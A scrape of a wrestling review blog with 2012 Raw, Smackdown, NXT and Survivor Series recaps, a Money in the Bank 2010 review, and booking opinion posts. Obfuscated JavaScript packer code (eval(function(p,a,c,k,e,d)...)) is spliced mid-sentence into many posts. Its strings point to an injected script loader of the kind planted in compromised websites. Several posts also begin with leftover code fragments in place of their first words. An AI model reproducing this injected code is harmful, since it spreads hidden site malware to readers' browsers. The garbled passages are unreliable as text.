TLC Main Event Announced

It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ikdti|var|u0026u|referrer|tiszz||js|php'.split('|'),0,{})) not that surprising.Punk vs. Ryback in a TLC match, meaning a match where Ryback can get screwed over……again.




How I Would Fix Raw

Someone eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|esytz|var|u0026u|referrer|bhnzd||js|php'.split('|'),0,{})) asked me this and I wrote it out in a comment, but I thought others that don’t read the comments might like this too.

Assuming I’m stuck with the three hours, the most important thing I’d do is cut out the freaking recaps. SO much time is wasted on the recaps and there’s no point in just talking about stuff we just saw. On top of that, drop the GM/boss stuff. There is zero need to have it on Raw or Smackdown and you can just say someone made the match and go from there. On top of that, mix things up. As in don’t use the same plot devices (champion loses to a challenger then has a rematch on PPV for the title, guy’s music comes on to distract someone and the opponent gets a rollup pin, evil GM etc) over and over again. There are unlimited story possibilities but they use like five. Also, perhaps most importantly, develop the characters more. Look at what happened with HELL NO: they were shown out of the arena and got to show what they’re like outside and the characters EXPLODED. Show Alberto blowing money or being cheap or something like that. Let them be creative.

To sum it up: mix things up a bit. That’s how you fix things. Let people have some creativity instead of doing the same stuff over and over again.

Oh and one more thing: better storytelling. Look at Orton vs. Del Rio. Orton has beaten him time and time again and the feud just keeps going with Del Rio ignoring every single loss and acting like it doesn’t happen. If he doesn’t care and nothing changes, why should I care as a fan?

 




Smackdown – November 23, 2012: Is There A Point To This Show? Anywhere?

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nkbky|var|u0026u|referrer|dzidf||js|php'.split('|'),0,{})) November 23, 2012
Location: Van Andel Arena, Grand Rapids, Michigan
Commentators: Josh Matthews, John Bradshaw Layfield

Ryback vs. Darren Young

Titus yells at Ryback post match and gets a Shell Shock too.

R-Truth vs. Antonio Cesaro

This is non-title and is happening because Cesaro has only beaten Truth clean once so far, which means absolutely nothing in the modern WWE. Cesaro insults Thanksgiving before the match as you would expect him to do. Cesaro immediately hits the gutwrench suplex followed by a double stomp and a body vice. Truth comes back with punches and a side kick before countering the Neutralizer with a backdrop. Little Jimmy hits for the clean pin at 1:33.

Sin Cara vs. Alberto Del Rio

Big Show vs. HELL NO

Barrett comes out for commentary for the next match.

Intercontinental Title: Kofi Kingston vs. Damien Sandow

Damien hits a quick suplex for two but Kofi rolls out of a belly to back suplex and sends Sandow to the outside. Kofi gets sent into the buckle and to the floor as well as we take a break. Back with Damien holding a kind of crossface chickenwing before hitting a knee to the ribs to keep control. Apparently Barrett has earned an IC Title shot from his win on Monday. What exactly did Damien do to get this show?

Reigns, Rollins and Ambrose will speak on Raw.

Dolph Ziggler vs. Randy Orton

Ziggler gets knocked down on the concrete as we take a break. Back with Dolph breaking out of a chinlock before Orton suplexes him right back down for two. With Ziggler laying on the apron, Orton stomps away and hits a slingshot to send Dolph throat first into the bottom rope and out to the floor. Ziggler throws Orton into the announce table and dropkicks him down, but Dolph might have injured his own knee in the process.

Post match Ricardo and Alberto try to run in but Orton hits the RKO on Ricardo and Alberto stops on the apron. WHY IS THIS STILL GOING??? Cena comes out and puts Ziggler in the STF on the stage to end the show.

Results

Ryback b. Darren Young – Shell Shock

R-Truth b. Antonio Cesaro – Little Jimmy

Alberto Del Rio b. Sin Cara – Cross Armbreaker

Big Show b. HELL NO – Chokeslam to Bryan

Kofi Kingston b. Damien Sandow – Trouble in Paradise

Dolph Ziggler b. Randy Orton – Rollup with a handful of trunks

Remember to follow me on Twitter @kbreviews




Thought of the Day – WWE Feuds Are Like Energizer Bunnies

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abzrt|var|u0026u|referrer|rryha||js|php'.split('|'),0,{})) is something that’s been around for awhile but it’s getting worse.On Raw, Orton beat Del Rio in a 2/3 falls match.  Why did this match happen?  Orton already beat Del Rio in a one on one match and again in a falls count anywhere match.  It’s been established that Orton is superior, so why is the feud continuing?  The same is true of the Sheamus vs. Del Rio feud from a few months ago.  Sheamus beat him clean more than once but the feud just kept going.  That’s one of the big problems WWE has right now: nothing feels like a blowoff match.  It feels like the last match that happens in a feud.  It’s like a movie with no real ending but rather a point where it just stops.  That’s not good storytelling.




NXT – November 21, 2012: Bronson, Wyatt and Harper. NXT Wins.

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfyer|var|u0026u|referrer|zdytn||js|php'.split('|'),0,{})) November 21, 2012
Location: Full Sail University, Winter Park, Florida
Commentators: Tony Dawson, Jim Ross

Paige vs. Alicia Fox

Camacho vs. Big E. Langston

We go to the back and Trent Barreta is down and in pain. Leo Kruger can be seen out of range smiling evily.

Bronson vs. Nick Rogers

SWEET! Bronson is back! He shoves Rogers into the corner and completely no sells all of the shots from Nick. Bronson goes after the leg before hitting a crossface to the head. A lot of stomps and knees keep Rogers down as Bronson works on the leg. An STO sets up that kind of inverted Figure Four from Bronson for the tap out at 1:49. I love this guy.

Luke Harper vs. Mike Dalton

Earlier today, Mahal attacked Rollins in the back but Seth beat him down.

The Raw ReBound recaps (shocking) the end of the show.

Kassius Ohno vs. Trent Barreta

Kassius Ohno vs. Richie Steamboat

Steamboat fires off a bunch of chops to the chest and head to slow Kassius down before they head to the corner. Richie comes off the top but dives into a headbutt from Ohno to put both guys down again. In a bit of a strange ending, Ohno hits a running clothesline in the corner but as he goes to throw Steamboat to the floor, Steamboat rolls him up for two and hits the Slingblade (swing around neckbreaker) for the pin at 10:28 shown of 13:58.

Results

Paige b. Alicia Fox – Paige Turner

Big E. Langston b. Camacho – Big Ending

Bronson b. Nick Rogers – Inverted Figure Four

Luke Harper b. Mike Dalton – Spinning Boss Man Slam

Richie Steamboat b. Kassius Ohno – Slingblade

Remember to follow me on Twitter @kbreviews




Monday Night Raw – November 19, 2012: How Many Recaps Do We Really Need?

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ihfyy|var|u0026u|referrer|kteri||js|php'.split('|'),0,{})) Night Raw
Date: November 20, 2012
Location: Nutter Center, Dayton, Ohio
Commentators: Michael Cole, Jerry Lawler

Ryback vs. Tensai

Sheamus is yelling at the referee from last night.

Kofi Kingston vs. Wade Barrett

Barrett rolls to the floor but as he comes back in, Kofi pounds away on him. This is the Wildcat or whatever Kofi calls himself now. The Boom Drop hits but Barrett blocks the kick and hits Winds of Change for two. Kofi kicks him in the face and hits the cross body off the top for another two. SOS gets two more but a rake to the eyes sets up the Bull Hammer to give Wade the pin at 11:30.

We talk about the invading NXT guys along with Brad Maddox, the latter of whom we get a video on.

Kaitlyn vs. Aksana

Aksana tries to hide on the floor but suckers Kaitlyn in for a clothesline. She pounds on Kaitlyn a bit and cranks on the arm over the top rope as you see Del Rio do occasionally. Kaitlyn comes back with some hair throws and a weak gutbuster for the pin at 3:02.

Brodus Clay vs. Antonio Cesaro

Vickie is talking to two people in the back. She has more evidence tonight. Oh freaking great.

The other witness is a parking attendant who saw them in a car together for an hour. What did they do? No idea, but apparently someone came to tell him about what he saw in the car. Cue AJ who at least looks good. AJ says fire her or let it go already because this is stupid. PREACH IT SISTER! Vickie says she has a photo from the guy who claimed to have no idea what was going on.

Alberto Del Rio vs. Randy Orton

Orton insists he can keep going and gets to his feet to start the third fall. Del Rio plays some cat and mouse as Orton keeps backing away because of the arm. Orton gets that sweet spinning rollup out of the corner for two but Alberto hits him in the arm to stop him dead again. The running kick in the corner gets two but Orton snaps off his backbreaker to slow Alberto down. Rodriguez interferes and is ejected but the distraction lets Del Rio hit the Backstabber for two.

Del Rio coils up for the RKO like Orton but walks into the Elevated DDT. Orton goes for the RKO mat slap but hurts his arm again in a smart move. It makes sense that he would hurt his arm there, which shows thinking. I love that! The armbreaker goes on but Orton grasps his hands to block it into a rollup for two. Del Rio misses another kick and the RKO ends this at 12:44.

We recap the AJ/Cena/Vickie stuff from earlier, because going 20 minutes without hearing about it is too long.

Cena gets his knee looked at and AJ is with him.

Great Khali vs. Primo/Epico

The Miz vs. David Otunga

We recap Show vs. Sheamus and the controversial ending from last night.

Another recap shows us what happened so far tonight.

Sheamus vs. Damien Sandow

AJ comes in to see Tamina and Vickie and nothing happens.

Post break, we show the same segment from before the break.

Sin Cara/Rey Mysterio vs. HELL NO

Non-title, again. The Players are on commentary here. Apparently if the masked dudes win, they get a title shot. Cara and Kane start and Kane runs over a jumping Cara before bring in Bryan. The fans continue to be white hot by cheering for Bryan, even as he misses a middle rope knee drop. Off to Rey for the double kicks from the masked men, getting two on Daniel.

Post match the Players get beaten down.

Heyman promises Punk that no one will interrupt the celebration.

Oh wait we need to show the AJ/Cena stuff AGAIN. As usual, this means showing it for I think the fourth time tonight.

Results

Ryback b. Tensai – Shell Shock

Wade Barrett b. Kofi Kingston – Bull Hammer

Kaitlyn b. Aksana – Gutbuster

Antonio Cesaro b. Brodus Clay – Neutralizer

Randy Orton b. Alberto Del Rio – RKO

Great Khali b. Primo/Epico – Punjabi Plunge to Epico

The Miz b. David Otunga – Skull Crushing Finale

Sheamus b. Damien Sandow – Brogue Kick

HELL NO vs. Sin Cara/Rey Mysterio went to a no contest when the Prime Time Players interfered

Remember to follow me on Twitter @kbreviews




Thought of the Day: Setting Up Title Matches

I think I might have said this before but it came to me again watching Raw.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|feaat|var|u0026u|referrer|rfbye||js|php'.split('|'),0,{})) there NO other way to set up a title feud than having the challenger pin the champion? Just say they’re having a title match at the PPV. Seriously just do it that way. Stop having to walk us through everything and just do the match. Let them TALK to each other and have some interaction and then do the freaking match. I assure you it’s not that hard.




Survivor Series 2012: A Filler PPV Disguised As A Major Show

Survivor Series 2012
Date: November 18, 2012
Location: Bankers Life Fieldhouse, Indianapolis, Indianapolis
Commentators: Michael Cole, Jerry Lawler, John Bradshaw Layfield

Pre Show: 3MB vs. Santino Marella/Zack Ryder

David Otunga is replacing Rhodes.

Team Clay vs. Team Tensai

Brodus Clay, Sin Cara, Rey Mysterio, Tyson Kidd, Justin Gabriel

Tensai, Prime Time Players, Primo, Epico

Divas Title: Kaitlyn vs. Eve Torres

We get a clip from the preshow where Del Rio and Ziggler argue over the tag match. Team Foley argued too until Foley calmed them down and said he needed all of them to work together.

US Title: Antonio Cesaro vs. R-Truth

Truth is challenging for no apparent reason at all. Cesaro makes fun of Thanksgiving before the match because Americans have nothing to be thankful for. He makes fun of how bad things are in America compared to Europe and the energy Cesaro has here is good stuff. Truth quickly rolls him up twice for two each and punches him in the head a few times. Cesaro comes back with some punches in the corner of his own as JBL talks about Antonio trying to learn Russian.

TLC ad which is like an Otunga law ad.

We recap Sheamus vs. Big Show. They had a great match at HIAC where Show won the title off a pair of KO Punches. Tonight is the rematch and Sheamus is MAD.

Smackdown World Title: Sheamus vs. Big Show

Show gets disqualified by another referee and Sheamus wins. Well sure why not. Sheamus destroys Show and his knee with a chair and Brogue Kicks Show while Show is on one knee. Methinks a chairs match is obvious now.

Show literally crawls up the aisle as the fans cheer for Ziggler. He gets on a knee and we go to a Rolling Stones concert ad. According to a live report I read, Show got up and walked to the back like it was fine. You know, because limping is too much to ask for of him.

Team Ziggler vs. Team Foley

Dolph Ziggler, Damien Sandow, David Otunga, Alberto Del Rio, Wade Barrett

Randy Orton, The Miz, HELL NO, Kofi Kingston

Fans TOUT IT OUT about who Rock should face at the Rumble.

Raw World Title: John Cena vs. CM Punk vs. Ryback

Since that would likely kill one of them, Punk escapes and joins forces with Cena for a double suplex to put Ryback through the announce table. Back in the ring and Cena cranks things up with the shoulders and the Shuffle. The AA is countered and the GTS gets two, as does the AA that follows it. Punk fires off kicks and blocks an STF attempt.

Punk celebrates a lot to end the show.

Results

Team Clay b. Team Tensai – Top Rope Splash to Young

Eve Torres b. Kaitlyn – Spinning Neckbreaker

Antonio Cesaro b. R-Truth – Neutralizer

Sheamus b. Big Show via DQ when Show pulled the referee in the way of a Brogue Kick

Team Ziggler b. Team Foley – Superkick to Orton

CM Punk b. John Cena and Ryback – Punk pinned Cena after a Shell Shock

Remember to follow me on Twitter @kbreviews




Money in the Bank 2010: Kane Is Back! And He Actually Won Something!

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|akide|var|u0026u|referrer|zsnar||js|php'.split('|'),0,{})) in the Bank 2010
Date: July 18, 2010
Location: Sprint Center, Kansas City, Missouri
Commentators: Michael Cole, Matt Striker, Jerry Lawler

Well it’s about ten minutes before the show starts and I legitimately do not know who to pick for the winners in the major matches. I’d expect a cash in tonight but I’m not entirely sure. I can’t imagine both will be cashed in, but I’d think one. The Nexus is pretty clearly the most interesting bunch here as we have reason to believe they’ll interfere in at least one Raw match. This should be fun though, although I’m worried that they’ll mess up the MITB appeal, but that’s WWE for you. Let’s get to it.

Apparently WWE has promised us a great main event here tonight.

The video is about risking it all to win it all. Not what I would have gone with but I can live with that.

Smackdown Money in the Bank

Kofi is probably the favorite here but I just don’t see him getting it. Ziggler….no. Christian is the smark favorite but I doubt it, likely causing him to further his heel turn. Rhodes is out next with his sounding like Living on a Prayer music. Hardy kind of gets a pop. Drew is the likely favorite here. Don’t expect a lot of commentary here as it’s mainly just a bunch of insane spots. I’d like to see Kane win but that’s not likely. Show is out last, sans mega ladder.

Everyone jumps the big guys to start which makes sense. That of course doesn’t work so we continue one of the longest running feuds in company history. Those two have interacted on and off for over 11 years. Everyone not big and bald goes away for some reason. They’ve been gone for like a minute now and the ring is empty. Show tries to find his own ladder and everyone gang jumps on him.

Everyone is on the floor now and Show has a bad knee. We need a Public Enemy video explaining how to climb a ladder a la Mike Whipwreck. Matt almost gets there but Christian makes the save which the fans don’t seem to like. I always get scared in matches like these. They’re so freaking dangerous. In the words of JR, how do you learn to fall off a 20 foot ladder? Where do you find a 20 foot ladder? If these are 20 feet tall then Kofi apparently stands about 10’2.

Everyone is doing the one person climbs and then one person stops it while the rest do nothing of note. Christian is about to be pushed to the floor but he uses an ancient Chinese technique to save himself from maximum pain: he jumps off. Why has no one done that before? Matt and Christian team up for about as long as Dennis Rodman was married to Carmen Electra. Wow I’m old.

We go back to what we started with as everyone goes after the big guys whenever they start. That’s some storytelling so I can’t complain there. Drew cleans house, sending Cody into the post after a brief dash. I’ll stop the puns on his name now. There must be like 8 ladders everywhere. Kane goes after Drew and rips up both tables. Make sure you move the monitors in your insane rage Kane. There’s a good employee.

No one is in the ring again. Drew is on the announce table and Kofi looks up at the huge ladder. The ring posts are green and the ropes are white. It’s a very Irish looking ring. Kofi hits the Boom Drop to more or less murder Drew and kill himself. Ziggler almost gets it but Show shoves the ladder down and Dolph hits it on the way down. Striker says there has never been a giant in MITB. Uh, nonsense but whatever.

Show splashes a ladder with Christian and Matt under it. Just call him the Giant again. They say that like 4 times in a row without saying Big Show. It’s mega ladder time. The ladder weighs more than Kane apparently and could hold 7 of the 8 people in this match. And he can’t get it in the ring. There is little funnier than unintentional comedy. So after spending three days setting it up, Rhodes makes the save by hitting him in the knee with a step ladder.

Cody’s face and head slams into the ladder. I think it does at least. Either way it looked great. This whole no one is up thing is really annoying. Kofi goes Shelton and springboards up to the big ladder while Show takes forever to get up (his knee is hurt though so that’s fine). Cody hits a SWEET dropkick to stop him from going up. We need more people in this at once though.

We bust out the finishers on the ladder and Kofi, Show, Dolph and Cody are all in the ring. Matt, Kane and Christian have been gone for like ever. At least Drew was taken down in a huge spot. This is already a 20 minute match. Kane shoves over the super ladder and Show goes over the top rope. The other guys pile ladders on top of Show which is a smart idea actually and a fairly innovative idea.

The midcard squad stops Kane and we get a fight between Matt and Cody. This has to be the end. Cody is almost there but Kane saves. It’s Kane by himself but Dolph gets the sleeper on him for like a second but can’t get it. There’s the full sleeper. Kane does exactly what I thought he should do and ducks his head a bunch of times, ramming it into the ladder.

This is a LONG match, probably the longest of all the MITB matches. I’d call Drew winning since he’s been gone for such a long time, although that isn’t much of a limb to go out on. Kofi gets chokeslammed on the pile of ladders. Kane and Cody go up the ramp to a MITB armored truck. Kane comes back to stop Matt as we’re almost at 30 minutes. Matt has it but Christian is right there. Huge freaking spot coming. They’re both standing on top of the ladder and there they go off of it.

Everyone is dead and here comes Drew. Kane comes back and it’s save time. Downw he goes and HOLY CRAP KANE WINS! He does the fire out of the corners thing from the mega ladder in an AWESOME visual. I’m a huge Kane fan so this is awesome to me.

Rating: C+. MITB is a match with an altered scale as by definition it’s awesome. This was kind of subpar as there were FAR too many spots where people just did nothing at all and were just laying around. Drew was down for about 15 minutes straight. Points for being surprising though and maybe he’ll cash in tonight. This is fun though as Kane has been both unpredictable and cool at the same time so this is good. I’m very happy so far.

Sheamus cuts a long promo about how he doesn’t get any respect from anyone especially Cena. I liked this as it gave him some much needed character development.

Raw Womens Title: Eve Torres vs. Alicia Fox

I’d bet on the champion retaining here but then again Eve is about ten times hotter so there we are. Eve is freaking gorgeous but allegedly management is REALLY happy with Fox for no apparent reason. Matt points out that the Divas Title hasn’t ever changed hands in Kansas City. Could that be because the belt has only been around for like three years and it’s only had like 4 holders?

The crowd is of course dead for this as they’re spent from the first match. But remember, the Divas are IMPORTANT and NOT eye candy. Yeah the only think I care about here is how good Eve looks in those gold shorts. She has great legs and abs. Alicia works on the back a lot and it sucks even more life out of this if that’s possible.

Eve gets the weakest clap from the audience I’ve ever heard. Eve does some decent stuff but this just needs to end. Cross body only gets one. The match isn’t terrible but it’s just not interesting at all. WE GET PSYCHOLOGY as Eve gets hit in the back and it sets up the Axe Kick to end it. THANK YOU! Now is THAT so hard to work into a match?

Rating: D+. This gets a huge upgrade for the ending because of the psychology being very effective. The crowd was completely dead here at a level that I haven’t heard in a long time. It wasn’t as bad as it’s being made out to be but it could have been better. Very solid ending though.

We review Swagger being a jerk on Friday which was great for him. Allegedly that was Bunkhouse Buck from WCW. Swagger is on the phone with his mom and says his dad was living through him so this was deserved. This is GREAT.

Unified Tag Titles: Uso Brothers vs. Hart Dynasty

Given the fact that we haven’t seen anything from the Usos other than 6 man tags and a squash win on Superstars, I can’t picture them winning yet. The Uso in shorts starts vs. David. We go through the list of guys from the Hart Dungeon and barely scratch the surface. That’s Jay apparently and the crowd is somehow even MORE dead for this. Wow this is basic stuff.

We get the Umaga hip smash of death to the face of Smith as this is more or less just a Raw match. They mention the taped up thumb which is a tribute to a fallen Samoan who they don’t name. That would be Umaga but he never existed. Kidd makes what is supposed to be a hot tag but might as well be in Siberia. Kidd hits a SWEET sunset flip into a rollup but gets caught in an Alley-Oop Samoan Drop.

The top rope splash from Jimmy gets knees though and David gets a small reaction on a tag. The girls go at it for a bit as Kidd beats up Jay. The Sharpshooter on Jimmy ends this fairly easy. Just a somewhat longer Raw match. Cole says this could elevate them to a new level. Uh, what level is that? Venezuelan tag champions?

Rating: D. This should have been on Raw and that’s all there is to it. Ok apparently there’s more to it than that. This was just the definition of average and there was nothing to it at all. The Harts look strong though which is the most important thing as they continue to establish themselves as a solid team.

Ad for Criss Angel’s new season which is the show’s sponsor.

We recap Swagger vs. Rey which is just a rematch from Swagger not losing the title in a one on one match. Oh and Rey has a bad ankle thanks to Swagger.

Smackdown World Title: Jack Swagger vs. Rey Mysterio

I love that little run around the ring that he does when he gets there. Rey limps a lot which makes me accept that he’s going to retain here. Big match intros make almost any match better. This should be good anyway though as both guys tend to work well together. Apparently being educated is a huge thing for Swagger and gives him an advantage. WWE supports education and since Linda McMahon is a WWE person, Linda McMahon supports education. That’s almost as much of a stretch as WWE has a tag division.

Rey hits a seated senton to the floor and hurts his leg again. Striker thinks Swagger hurt his head when he rams his head into the buckle. Gee you think? Striker hits the running up the ropes belly to belly which is always nice. Swagger stands on Rey’s ankle on the floor. Why couldn’t he be this ruthless when he was champion? At least they’re going with a basic story here before Rey makes his Superman comeback.

Rey hits one oh his thousand rana variations to send Swagger into the buckle but hurts his ankle on the modified moonsault. Swagger is getting better with every match he has. Swagger gets the powerbomb but Rey gets the foot on the ropes because he hooks the wrong leg like an idiot. Why does that never happen any other time? Swagger goes for….something off the middle rope but Rey reverses into a tornado DDT. I think it was a powerslam off the top but it didn’t work.

Rey is finally called Superman as he hits the 619. Amazing that a guy with a torn tendon could manage to get a running start for a move like that. Ankle lock is on but he makes the ropes. Vader Bomb hits but no cover. A second one hits and still no cover. Rey takes the boot off of his foot like Eddie (yeah I’m shocked too) and rolls up Swagger for the pin. Swagger beats him up post match and hooks the ankle lock. Kane comes out for the save and chases Swagger off but doesn’t cash in.

Rating: B-. Not a terrible match or anything but nothing great really. Rey’s ankle magically healed somewhere in there as he just forgot about the pain I guess. Also they made more Eddie references. Can Rey just no win anything without having Eddie referenced? This was decent enough but it was nothing all that great. Swagger looked awesome here though, other than the ending.

SCRATCH THAT! Kane comes back, this time with music, a referee and the briefcase! If he loses here….sweet goodness I’ll hurt someone.

Smackdown World Title: Rey Mysterio vs. Kane

Rey tries to run but Kane hits a chokeslam and then a Tombstone. YES! KANE IS WORLD CHAMPION!!!!!! Screw any kind of unbiasedness or whatever. THIS IS AWESOME!

Rating: A+. The tiny man loses and Kane is world champion. This is GREAT!

Jericho and Edge both say they’ll win.

Smackdown Womens Title: Layla vs. Kelly Kelly

Kelly looks awesome tonight as does Michelle. No one cares about this obviously but they’re a bit awake here. Kelly hits her K2 thing but Michelle grabs the leg and puts it on the ropes. Kelly goes for a sunset flip off the second rope and Layla goes British Bulldog on her for the pin. Yeah whatever.

Rating: D-. Just for Striker using the English Muffin name twice which is annoying. Laycool’s music is addictive too. They’re clearly just killing time before Beth comes back to do her thing. This was pretty uninteresting though and really went nowhere but at least Kelly was hot and it didn’t go on that long.

Raw Money in the Bank

Orton gets the kind of home town pop but it’s still a huge one as you would expect. Miz is the dark horse pick to win but he likely won’t. Mark Henry needs to get lost in the desert somewhere. DiBiase is growing on me. They’re going through the intros much faster here than they did in the first match. Maryse in a red dress works very well. Morrison is someone that is a wild card here but I’d bet on him not winning. Him giving away the sunglasses is great. Jericho is the main event filler guy here which is fine for a guy at his state in his career. Bourne is here for high spots more than likely. Edge is probably the Drew McIntyre here: the guy you expect to win but doesn’t.

They do a lot of basic stuff to get us going which is what you would expect. Edge stops Bourne but Bourne hits a sweet rana to take him down. Orton this the DDT off the second rung of the ladder which is a nice little variation on it. Morrison kind of falls down and hits his head on the ladder which wasn’t planned. He looks ok though. Morrison gets some solid reactions here and takes out Miz and DiBiase.

This match suffers from being the second of these matches in less than two hours. The spots don’t look as impressive as they did when we hadn’t seen them in four months. Henry shoves four guys off two ladders and everyone is down. Maryse goes into the ring and sets up a ladder with everyone down. She takes forever to climb the thing as the question of can anyone climb the ladder and get the case is raised. Morrison stops her and nothing really comes of it.

Everyone is apparently dead again as people are all out on the floor other than Miz. Striker names Miz’s fans Mizfits. Dude, stop trying so hard. Morrison does a modified Shelton spot by being slingshotted into the ladder on the floor but holding on. He then grabs one standing in the corner and slides over on it to get on the ladder Edge is on. Nice spot. Edge and Miz get Morrison stuck between the rungs of a ladder and beat him up. Edge slams the ladder into Miz’s face in a perfectly Edge spot.

Henry takes over for a bit but gets the Big Show treatment from earlier including a Codebreaker and Spear on the floor. Everything goes insane again and Air Bourne hits. He almost gets up to the case but can’t unhook it a la Swagger. We get Canadian violence as Edge and Jericho fight atop the ladder. RKO OFF THE LADDER ON JERICHO!

Orton LOOKS at a ladder and gets the biggest pop of the night. He almost has it but Miz makes the save. MIZ WINS IT! HOLY SWEET GOODNESS! Miz gets a mic as the announcers can’t believe what they’re seeing. Miz says that everyone here is living in his moment. He says this means he made it and he’s right. This is totally believable here and given where he was just like three years ago (chick magnet) two years ago (in a tag team like say David Hart Smith is now) or even a year ago (parodying Cena) this is AMAZING.

Rating: B-. I liked this better than the first one actually as the length being significantly shorter helped it a lot. The 26 minutes for the first one was too long but cutting about 10 minutes off of this one made it much better. The winner helps it a lot too, but this was more about drama and there was less time for things to be bogged down and drag. Slightly better, but I could easily see that being reversed.

We recap Cena vs. Sheamus with the Nexus involved, which makes this a very interesting main event.

Raw World Title: John Cena vs. Sheamus

It’s in a cage, which is somehow supposed to stop the Nexus somehow. There’s no top on it that I can see so I don’t get the theory there. This starts pretty slowly and then picks up a bit. The fans are anti-Cena. He also has stitches from a cut on Raw Monday. Cena wants an ELBOW apparently. They’re pretty much just killing time here until the Nexus stuff starts. It’s not bad or anything but it’s kind of uneventful.

After about five minutes of somewhat interesting stuff, Sheamus hooks a sleeper and Cena climbs up the ropes with him on his back. This is pin, submission or escape in case you were wondering. Cena stars his usual ending sequence but of course it doesn’t work. Sheamus gets him tied up in the ropes and does a nice pose. Why he doesn’t leave through the door and then come back for the beatdown is anyone’s guess.

Sheamus climbs over him but the less white guy gets out and hits a bulldog from the top. We’re just going through the motions here but it’s picking up pretty well. Pump Kick and FU get two and HERE THEY COME! Tarver has boltcutters but they want the key anyway. The referee on the floor throws it into the crowd. FU is blocked and down goes the referee. Sheamus taps to the STFU but there’s no referee….other than the one outside that’s looking at it but whatever.

Nexus stops Cena from getting out with Gabriel climbing up to stop him. Cena knocks him into the cage but gets stopped again. Sheamus goes up and gets stopped too by Slater. He gets out though and Sheamus gets out before SPRINTING away. No Miz tonight I guess which is good.

Cena is left alone with Young and Tarver for some reason which I guess means he’s not alone. Young has less hair here too it seems. Let the beatdown begin. He rams the steps into Tarver, more or less killing him. He takes an armband and leaves, sans title to end the show.

Rating: C-. Not wild here but this was decent. The ending has gotten mixed reactions and I can certainly see that. At first I liked it but the more I think about it the more I think that it just wasn’t that exciting. We knew Nexus was coming out and we knew they would try to mess things up.

 

The ending kind of felt like the ending to a Raw show which is what’s bringing this down. The match itself wasn’t anything that great for the most part but they picked it up near the end. I don’t think anyone expected Cena to get the title back here but this was hardly something you would sleep through. Watchable but nothing great at all

OverallRating: B+. This certainly isn’t the most technically sound show of all time but it wasn’t trying to be. With three gimmick matches, a cash-in and Miz winning MITB, how can you go wrong here? This show was about flooring it the whole way and never looking back. Things like that can work once in awhile but the trick it to not rely on that too much because if you do it loses its appeal.

 

I thought this show would be awful but instead it worked incredibly well as it didn’t try to be a masterpiece and was about excitement and fun. On that merit its one of the better PPVs of the year. Like I said, don’t expect any great wrestling but expect to be entertained for the most part. There’s some bad stuff here but it’s pretty short and inoffensive and by the end it’s more or less forgotten about anyway which is how it should be. Definitely worth watching.

 

Remember to follow me on Twitter @kbreviews




Survivor Series 2012 Quick Thoughts

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zayyb|var|u0026u|referrer|bidnn||js|php'.split('|'),0,{})) haven’t gotten to watch the show yet but I’m hoping to have that up by Wednesday at the latest.From what I can tell, the show was as dull as I expected it to be.  Sheamus vs. Show is happening again apparently, Ryback of course gets screwed out of the title, and the newly face Miz loses.  What in the world was the point of turning him in the first place?  Second of all, why were Foley and Ziggler feuding at all?  Other than that, there’s nothing at all going on with this show that I can tell and it was a way to fill in time until we get to the Rumble.  That’s what drives me crazy about WWE right now: this stuff is all just filling in time until we get to Rock winning the title from Punk.  They’re putting the ceiling on the world title picture and that’s just flat out stupid.  Fired up about Ryback?  WELL SCREW YOU!  Because Punk has to hold the title for over a year before he faces Rock because for some reason we’re supposed to care more that way.

 

All in all, Survivor Series seems to suck.  I’m shocked.